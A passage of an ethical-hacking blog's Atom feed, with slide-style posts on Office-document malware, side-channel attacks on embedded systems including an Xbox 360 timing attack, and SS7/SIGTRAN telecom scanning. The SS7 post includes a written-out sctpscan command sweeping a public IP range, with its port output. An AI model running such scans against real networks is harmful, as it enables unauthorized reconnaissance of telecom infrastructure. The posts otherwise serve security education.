width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-6717500590830036458?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6717500590830036458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6717500590830036458'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/10/wireless-reconnaissance-in-practice.html' title='Wireless Reconnaissance in Practice'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-5695414840828537611</id><published>2010-10-12T10:57:00.000-04:30</published><updated>2010-10-12T10:57:30.699-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='word'/><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='powerpoint'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious documents'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious document structure'/><category scheme='http://www.blogger.com/atom/ns#' term='officecat'/><category scheme='http://www.blogger.com/atom/ns#' term='office malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='excel'/><category scheme='http://www.blogger.com/atom/ns#' term='office malware'/><category scheme='http://www.blogger.com/atom/ns#' term='office malscanner'/><category scheme='http://www.blogger.com/atom/ns#' term='office shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='offvis'/><title type='text'>Analyzing Malware Through MS-Office Documents</title><content type='html'>&lt;b&gt;Key Highlights&lt;/b&gt;&lt;br /&gt;-MS Office commonly exploited since 2006&lt;br /&gt;-Existing exploits in the wild exploit unexceptional the older OLESS file format.&lt;br /&gt;-Currently no known bugs in the newer XML based MS Office format.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Some MS Office exploits since 2006&lt;/b&gt;&lt;br /&gt;-CVE-2006-0009 Powerpoint MS06-012 (March 2006)&lt;br /&gt;-CVE-2006-0022 Powerpoint MS06-028 (June 2006)&lt;br /&gt;-CVE-2006-2492 Word MS06-027 (June 2006)&lt;br /&gt;-CVE-2006-3434 Powerpoint MS06-062 (October 2006)&lt;br /&gt;-CVE-2006-3590 Powerpoint MS06-048 (August 2006)&lt;br /&gt;-CVE-2006-4534 Word MS06-060 (October 2006)&lt;br /&gt;-CVE-2006-4694 Powerpoint MS06-058 (October 2006)&lt;br /&gt;-CVE-2006-5994 Word MS07-014 (February 2007)&lt;br /&gt;-CVE-2006-6456 Word MS07-014 (February 2007)&lt;br /&gt;-CVE-2007-0515 Word MS07-014 (February 2007)&lt;br /&gt;-CVE-2007-0671 Excel MS07-015 (February 2007)&lt;br /&gt;-CVE-2007-0870 Word MS07-024 (May 2007)&lt;br /&gt;-CVE-2008-0081 Excel MS08-014 (March 2008)&lt;br /&gt;-CVE-2008-4841 Word MS09-010 (April 2009)&lt;br /&gt;-CVE-2009-0238 Excel MS09-009 (April 2009)&lt;br /&gt;-CVE-2009-0556 Powerpoint MS09-017 (May 2009)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Generic OLESS Format&lt;/b&gt;&lt;br /&gt;-OLESS Header&lt;br /&gt;-FAT FS: SectorNumbers, OLESS directory entries&lt;br /&gt;-Data is divided into directories (storages) and files (streams)&lt;br /&gt;-Depending on the application streams may contain: Macros, Graphics, Tables, Sounds, Animations, etc.&lt;br /&gt;-Parsing can be done using the Win32 COM API: StgOpenStorage(), IStoragemethods, IStreammethods.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;Malicious Document Structure&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TLR8sS4Ff9I/AAAAAAAAAP0/llJRlOE0_Yg/s1600/15-Oct-12-10-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TLR8sS4Ff9I/AAAAAAAAAP0/llJRlOE0_Yg/s320/15-Oct-12-10-pic1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Typical MS-Office Shellcode Behavior&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;When a bug in a MS Office application gets triggered:&lt;br /&gt;-Shellcode executes&lt;br /&gt;-Finds itself by open file handles enumeration and file size checking&lt;br /&gt;-SetFilePointerto encrypted PE-File(s), decrypt, drop and execute&lt;br /&gt;-Drop harmless embedded MS Office document and start to look innocent&lt;br /&gt;&lt;br /&gt;More information:&lt;br /&gt;-Not much public information about MS-Office malware analysis available&lt;br /&gt;-Microsoft Office Binary File Format Specification (since Feb. 2008)&lt;br /&gt;-Bruce Dang's talk "Methods for Understanding Targeted Attacks with Office Documents".&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Available Tools For Analysis&lt;/b&gt;&lt;br /&gt;-&lt;i&gt;DFView &lt;/i&gt;(old school Microsoft OLE structure viewer)&lt;br /&gt;-&lt;i&gt;Officecat &lt;/i&gt;(signature based CLI utility)&lt;br /&gt;-&lt;i&gt;FlexHexEditor&lt;/i&gt; (OLE compound viewer)&lt;br /&gt;-&lt;i&gt;OffVis&lt;/i&gt; (office binary file format visualization tool)&lt;br /&gt;-&lt;i&gt;OfficeMalScanner &lt;/i&gt;(forensic tool for analysts to find malicious traces in MS Office documents)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-5695414840828537611?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5695414840828537611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5695414840828537611'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/10/analyzing-malware-through-ms-office.html' title='Analyzing Malware Through MS-Office Documents'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/TLR8sS4Ff9I/AAAAAAAAAP0/llJRlOE0_Yg/s72-c/15-Oct-12-10-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4147887143936513042</id><published>2010-08-25T18:28:00.000-04:30</published><updated>2010-08-25T18:28:14.547-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='xbox 360 backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='side channel threat countermeasures'/><category scheme='http://www.blogger.com/atom/ns#' term='smartcard side channel'/><category scheme='http://www.blogger.com/atom/ns#' term='timing analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='side channel attack'/><category scheme='http://www.blogger.com/atom/ns#' term='embedded system side channel attack'/><category scheme='http://www.blogger.com/atom/ns#' term='power em traces'/><title type='text'>Analyzing Side Channel Attacks on Embedded Systems</title><content type='html'>&lt;i&gt;General embedded systems based on micro-controller and complex processors:&lt;/i&gt;&lt;br /&gt;-USB sticks&lt;br /&gt;-Car locks&lt;br /&gt;-Remote access tokens&lt;br /&gt;-Mobile devices&lt;br /&gt;-Game consoles&lt;br /&gt;-Multi-media chipsets for pay-TV&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Think of Security:&lt;/i&gt;&lt;br /&gt;-What is the threat from side channel analysis to embedded systems?&lt;br /&gt;-How does it compare with attacks on smart cards?&lt;br /&gt;-What are the future developments?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Attacking Side Channels&lt;/i&gt;&lt;br /&gt;-Time&lt;br /&gt;-Power consumption&lt;br /&gt;-Electro-Magnetic radiation&lt;br /&gt;-Light&lt;br /&gt;-Sound&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;i&gt;Power/EM traces&lt;/i&gt;&lt;br /&gt;-Signal leakage from busses, registers, ALUs, etc.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Statistical data detection&lt;/i&gt;&lt;br /&gt;-Where is data processed in presence of noise?&lt;br /&gt;-Collect many traces with different data (n &amp;gt; 1000)&lt;br /&gt;-Assume data values are:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; known (e.g. algorithm input or output)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; uniformly random (typical for crypto)&lt;br /&gt;-We focus on one bit of one variable in the process&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/THWZrrFs4mI/AAAAAAAAAPE/kXbVkjHhe58/s1600/14-Aug-26-10-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/THWZrrFs4mI/AAAAAAAAAPE/kXbVkjHhe58/s320/14-Aug-26-10-pic1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Differential trace&lt;/i&gt;&lt;br /&gt;-Input: n traces with known variable (e.g. input or output)&lt;br /&gt;-Output: 1 trace with indication where bit causes trace differences&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Purpose of Side Channel Attacks on Embedded Systems&lt;/i&gt;&lt;br /&gt;-Retrieve secrets (Key, PIN, Unlock code)&lt;br /&gt;-Reverse engineer (Program flow, Crypto protocol, Algorithm)&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Why Side Channel Attacks are interesting? If side channel threats depends on:&lt;/i&gt;&lt;br /&gt;-Physical access?&lt;br /&gt;-Access time window?&lt;br /&gt;-Interfacing and control?&lt;br /&gt;-Exploitation equipment $?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;A device becomes interesting when:&lt;/i&gt;&lt;br /&gt;-It contains a secret&lt;br /&gt;-It contains a feature that can be unlocked&lt;br /&gt;-Logical or physical access to internals is hard&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Typical Side Channel Attack Example&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/THWah9MtRXI/AAAAAAAAAPM/4WrY5ww_Eig/s1600/14-Aug-26-10-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/THWah9MtRXI/AAAAAAAAAPM/4WrY5ww_Eig/s320/14-Aug-26-10-pic2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Typical Prerequisites&lt;/i&gt;&lt;br /&gt;-Access to side channel&lt;br /&gt;-Access to input or output data&lt;br /&gt;-Minimize noise in side channel&lt;br /&gt;-Time measurement of operation (trigger)&lt;br /&gt;-Link data to operation&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Processor comparison with Smart Card&lt;/i&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;a href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/THWbHqiEmeI/AAAAAAAAAPU/RAWXJuCkBzQ/s1600/14-Aug-26-10-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/THWbHqiEmeI/AAAAAAAAAPU/RAWXJuCkBzQ/s320/14-Aug-26-10-pic3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;i&gt;Acquisition comparison with Smart Card&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/THWbakfCtmI/AAAAAAAAAPc/iwvPVTEhUB0/s1600/14-Aug-26-10-pic4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/THWbakfCtmI/AAAAAAAAAPc/iwvPVTEhUB0/s320/14-Aug-26-10-pic4.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Test vs. Attack&lt;/i&gt;&lt;br /&gt;-An attacker needs to turn a vulnerability into an exploit&lt;br /&gt;-A tester needs to gain insight in attacker cost efficiently&lt;br /&gt;-How to create the optimal environment to discover a vulnerability?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;General aspects of testing&lt;/i&gt;&lt;br /&gt;-Controlling the crypto&lt;br /&gt;-Linking data with measurements&lt;br /&gt;-Efficiency of acquisition&lt;br /&gt;-Increased speed versus increased complexity&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Timing analysis&lt;/i&gt;&lt;br /&gt;-Peripheral outputs assist (example XBOX 360)&lt;br /&gt;-Exploiting runtime access (cache)&lt;br /&gt;-Increasing accuracy with EM and power&lt;br /&gt;-Timing is a risk in many software implementations: both crypto and comparisons&lt;br /&gt;&lt;br /&gt;&lt;b&gt;XBOX 360 with Backdoor&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/THWfCtI54HI/AAAAAAAAAPk/EcQDQ8Bl8Xg/s1600/14-Aug-26-10-pic5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/THWfCtI54HI/AAAAAAAAAPk/EcQDQ8Bl8Xg/s320/14-Aug-26-10-pic5.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;-XBOX 360 has a secure boot chain&lt;br /&gt;-First boot loader security implemented with a HMAC-SHA1&lt;br /&gt;-Hash secret key + boot loader with SHA1&lt;br /&gt;-Compare 16 bytes result with stored 16 bytes&lt;br /&gt;-Comparison is per byte -&amp;gt; timing attack&lt;br /&gt;-Implementation in this infectus board:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It can modify stored HMAC-SHA1 value in NAND flash&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Observes timing of diagnostic POST byte on PCB&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Reset CPU with nTRST&lt;br /&gt;-Brute forcing 16*128 = 2048 values on average takes about 2 hrs&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Power analysis&lt;/i&gt;&lt;br /&gt;-Tapping power or supplying it&lt;br /&gt;-Reaching rails&lt;br /&gt;-Identifying the correct supply rail&lt;br /&gt;-Disabling power domains&lt;br /&gt;-Disabling peripherals&lt;br /&gt;-All require more detailed knowledge on target&lt;br /&gt;&lt;br /&gt;&lt;i&gt;EM (Electro Magnetic) Analysis&lt;/i&gt;&lt;br /&gt;-EM signal adds dimension&lt;br /&gt;-How to locate?&lt;br /&gt;-When can EM be better?&lt;br /&gt;-EMA is an active research topic&lt;br /&gt;-EM seems to add most when target operation is small relative to overall chip&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Threat and Impact&lt;/i&gt;&lt;br /&gt;-Few countermeasures&lt;br /&gt;-Significant leakage&lt;br /&gt;-Fast acquisition&lt;br /&gt;-Required level of control&lt;br /&gt;-Attacks needed to achieve control&lt;br /&gt;-High noise level, increased acquisition times&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Countermeasures&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Hardware&lt;/i&gt;&lt;br /&gt;-Random Interrupts&lt;br /&gt;-Data / Key masking&lt;br /&gt;-Shielding&lt;br /&gt;-Balancing&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Software&lt;/i&gt;&lt;br /&gt;-Randomizing flow&lt;br /&gt;-Blinding / Masking&lt;br /&gt;-Algorithm&lt;br /&gt;-Protocol design&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4147887143936513042?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4147887143936513042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4147887143936513042'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/08/analyzing-side-channel-attacks-on.html' title='Analyzing Side Channel Attacks on Embedded Systems'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WWO0NoYEIHQ/THWZrrFs4mI/AAAAAAAAAPE/kXbVkjHhe58/s72-c/14-Aug-26-10-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-7446883289591857876</id><published>2010-08-09T19:45:00.002-04:30</published><updated>2011-03-08T18:57:57.756-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='crack sigtran'/><category scheme='http://www.blogger.com/atom/ns#' term='SIP hack'/><category scheme='http://www.blogger.com/atom/ns#' term='hack telecom backbones'/><category scheme='http://www.blogger.com/atom/ns#' term='ss7 hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='sigtran'/><category scheme='http://www.blogger.com/atom/ns#' term='scan ss7 networks'/><category scheme='http://www.blogger.com/atom/ns#' term='blue box'/><category scheme='http://www.blogger.com/atom/ns#' term='attack voip'/><category scheme='http://www.blogger.com/atom/ns#' term='sctp scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='sctp stack fingerprinting'/><category scheme='http://www.blogger.com/atom/ns#' term='phreaking'/><category scheme='http://www.blogger.com/atom/ns#' term='sigtran hacking'/><title type='text'>Scanning SS7 Networks and Telecom Backbones</title><content type='html'>&lt;b&gt;Historic View&lt;/b&gt;&lt;br /&gt;-Phreaking is a term for the action of making a telephone system do something that it normally should not allow.&lt;br /&gt;-Telecommunications security problems started in the 1960’s when the hackers of the time started to discover ways to abuse the telephone company.&lt;br /&gt;-Discovery and exploration of features of telecommunications systems.&lt;br /&gt;-Controlling Network Elements (NE) in a way that was not planned by its designers.&lt;br /&gt;-Abusing weaknesses of protocols, systems and applications in telephone networks.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Fraud Implanted by&lt;/i&gt;&lt;br /&gt;-Blue Box&lt;br /&gt;-Internal Fraud&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Reliability&lt;/i&gt;&lt;br /&gt;-US: 911, Europe: 112&lt;br /&gt;-How much lost revenue is one minute of downtime?&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Today's View&lt;/b&gt;&lt;br /&gt;-SIP account hacking, remind the "Calling Cards" fraud?&lt;br /&gt;-VoIP GW hacking, remind the "PBX hacking"?&lt;br /&gt;-Signaling hacking directly on SS7 – SIGTRAN level&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SS7 Attacks Scenarios&lt;/b&gt;&lt;br /&gt;-Theft of service, interception of calling cards numbers, privacy concerns&lt;br /&gt;-Introduce harmful packets into the national and global SS7 networks&lt;br /&gt;-Get control of call processing, get control of accounting reports&lt;br /&gt;-Obtain credit card numbers, non-listed numbers, etc.&lt;br /&gt;-Messages can be read, altered, injected or deleted&lt;br /&gt;-Denial of service, security triplet replay to compromise authentication&lt;br /&gt;-Annoyance calls, free calls, disruption of emergency services&lt;br /&gt;-Capture of gateways, rerouting of call traffic&lt;br /&gt;-Disruption of service to large parts of the network&lt;br /&gt;-Call processing exposed through Signaling Control Protocol&lt;br /&gt;-Announcement service exposed to IP through RTP&lt;br /&gt;-Disclosure of bearer channel traffic&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Telecom Backbone&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TGCZ-JF5DJI/AAAAAAAAAO8/cmNt0kzBt_E/s1600/13-Aug-10-10-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TGCZ-JF5DJI/AAAAAAAAAO8/cmNt0kzBt_E/s320/13-Aug-10-10-pic1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Discovering The Backbone&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Deregulation&lt;/i&gt;&lt;br /&gt;-Europe / US: CLEC vs ILEC&lt;br /&gt;&lt;br /&gt;&lt;i&gt;New services and new business partners&lt;/i&gt;&lt;br /&gt;-Premium numbers, SMS providers, etc.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Push toward an “All IP” infrastructure&lt;/i&gt;&lt;br /&gt;-Management network&lt;br /&gt;-Cost&lt;br /&gt;-SIGTRAN (SS7 over IP)&lt;br /&gt;&lt;br /&gt;&lt;i&gt;SS7 &amp;amp; SIGTRAN&lt;/i&gt;&lt;br /&gt;-Core&lt;br /&gt;-Formerly, the walled garden&lt;br /&gt;&lt;br /&gt;&lt;i&gt;VoIP&lt;/i&gt;&lt;br /&gt;-Edge&lt;br /&gt;-Hard to make it reliable (QoS, SBCs)&lt;br /&gt;&lt;br /&gt;&lt;i&gt;SS7 and IP&lt;/i&gt;&lt;br /&gt;-There is also exponential growth in the use of interconnection between the telecommunication networks and the Internet, for example with VoIP protocols (e.g. SIP, SCTP, M3UA, etc.)&lt;br /&gt;-The IT community now has many protocol converters for conversion of SS7 data to IP, primarily for the transportation of voice and data over the IP networks. In addition new services such&amp;nbsp; as those based on IN will lead to a growing use of the SS7 network for general data transfers.&lt;br /&gt;-There have been a number of incidents from accidental action on SS7, which have damaged a&amp;nbsp; network. To date, there have been very few deliberate actions. Far from VoIP here.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Attacking SIGTRAN with SCTPscan (http://sctp.tstf.net/)&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Where implementation diverge from RFCs&lt;/i&gt;&lt;br /&gt;-RFC says "hosts should never answer to INIT packets on non-existings ports".&lt;br /&gt;-Syn scanning is slow when no RST&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Below the IDS&lt;/i&gt;&lt;br /&gt;-How many firewall logs dropped SCTP packets?&lt;br /&gt;-How many IDS(s) watch for SCTP socket evil content?&lt;br /&gt;-Example: Dshield.org - Real life distributed IDS, Hundreds of thousands of IP scanned, nor detected neither reported as scanner.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;INIT vs SHUTDOWN_ACK Packet Scanning&lt;/b&gt;&lt;br /&gt;&lt;i&gt;From RFC 2960&lt;/i&gt;&lt;br /&gt;-8.4 Handle "Out of the blue" Packets&lt;br /&gt;-An SCTP packet is called an "out of the blue" (OOTB) packet if it is correctly formed, i.e., passed the&amp;nbsp; receiver's Adler-32 / CRC-32 check (see Section 6.8), but the receiver is not able to identify the association to which this packet belongs.&lt;br /&gt;-The receiver of an OOTB packet MUST do the following:&lt;br /&gt;"If the packet contains a SHUTDOWN ACK chunk, the receiver should respond to the sender of the OOTB packet with a SHUTDOWN COMPLETE."&lt;br /&gt;&lt;br /&gt;-New way to elicit answers even if not answering ABORTs to INITs targeted at not-opened port.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SCTP ports (-sS) Stealth Scanning&lt;/b&gt;&lt;br /&gt;root@bt:~/sctp# ./sctpscan-v11 --scan --autoportscan -r&lt;br /&gt;203.151.1&lt;br /&gt;Netscanning with Crc32 checksumed packet&lt;br /&gt;203.151.1.4 SCTP present on port 2905&lt;br /&gt;203.151.1.4 SCTP present on port 7102&lt;br /&gt;203.151.1.4 SCTP present on port 7103&lt;br /&gt;203.151.1.4 SCTP present on port 7105&lt;br /&gt;203.151.1.4 SCTP present on port 7551&lt;br /&gt;203.151.1.4 SCTP present on port 7701&lt;br /&gt;203.151.1.4 SCTP present on port 7800&lt;br /&gt;203.151.1.4 SCTP present on port 8001&lt;br /&gt;203.151.1.4 SCTP present on port 2905&lt;br /&gt;root@bt:~/sctp#&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SCTP Stack Fingerprinting&lt;/b&gt;&lt;br /&gt;-SCTP stack reliability&lt;br /&gt;-Robustness testing (stress testing)&lt;br /&gt;-QA of a few stacks&lt;br /&gt;-Fuzzing built-in SCTPscan&lt;br /&gt;-Discrepancies in SCTP answer packets&lt;br /&gt;-Different stack behaviours&lt;br /&gt;-Much more states than TCP=opportunities&lt;br /&gt;-Cookie randomness&lt;br /&gt;&lt;br /&gt;Credits: Philippe Langlois, P1 Security (&lt;a href="http://p1security.com/"&gt;p1security.com&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-7446883289591857876?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7446883289591857876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7446883289591857876'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/08/scanning-ss7-networks-and-telecom.html' title='Scanning SS7 Networks and Telecom Backbones'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/TGCZ-JF5DJI/AAAAAAAAAO8/cmNt0kzBt_E/s72-c/13-Aug-10-10-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-7857598951446052324</id><published>2010-08-02T13:28:00.000-04:30</published><updated>2010-08-02T13:28:25.764-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='visualization process'/><category scheme='http://www.blogger.com/atom/ns#' term='visualization effectiveness'/><category scheme='http://www.blogger.com/atom/ns#' term='scientific visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='davix'/><category scheme='http://www.blogger.com/atom/ns#' term='log visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='information security visualization'/><title type='text'>Using DAVIX For Security Visualization (revised)</title><content type='html'>&lt;b&gt;Information visualization&lt;/b&gt;&lt;br /&gt;-Visualize large collections of abstract data&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Scientific visualization&lt;/b&gt;&lt;br /&gt;-Representation of data with geometric structure&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/TFcGag87e-I/AAAAAAAAAOk/rxPFCbiQNYI/s1600/12-Aug-01-10-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/TFcGag87e-I/AAAAAAAAAOk/rxPFCbiQNYI/s320/12-Aug-01-10-pic1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Visualization Concept&lt;/b&gt;&lt;br /&gt;-Analyzing floods of data in tabular or textual form is tedious&lt;br /&gt;-Humans must sequentially scan such data&lt;br /&gt;-Visualization exploits the human's visual perceptive capabilities and parallel processing Size, Shape, Distance, and Color&lt;br /&gt;-Easy to spot patterns and irregularities&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Data types supported&lt;/b&gt;&lt;br /&gt;-&lt;i&gt;Ordinal&lt;/i&gt;&lt;br /&gt;Has a sequence e.g. day of week&lt;br /&gt;-&lt;i&gt;Nominal&lt;/i&gt;&lt;br /&gt;Has no sequence e.g. types of fishes&lt;br /&gt;-&lt;i&gt;Quantitative&lt;/i&gt;&lt;br /&gt;Can be measured e.g. length, time, weight, temperature, speed&lt;br /&gt;&lt;br 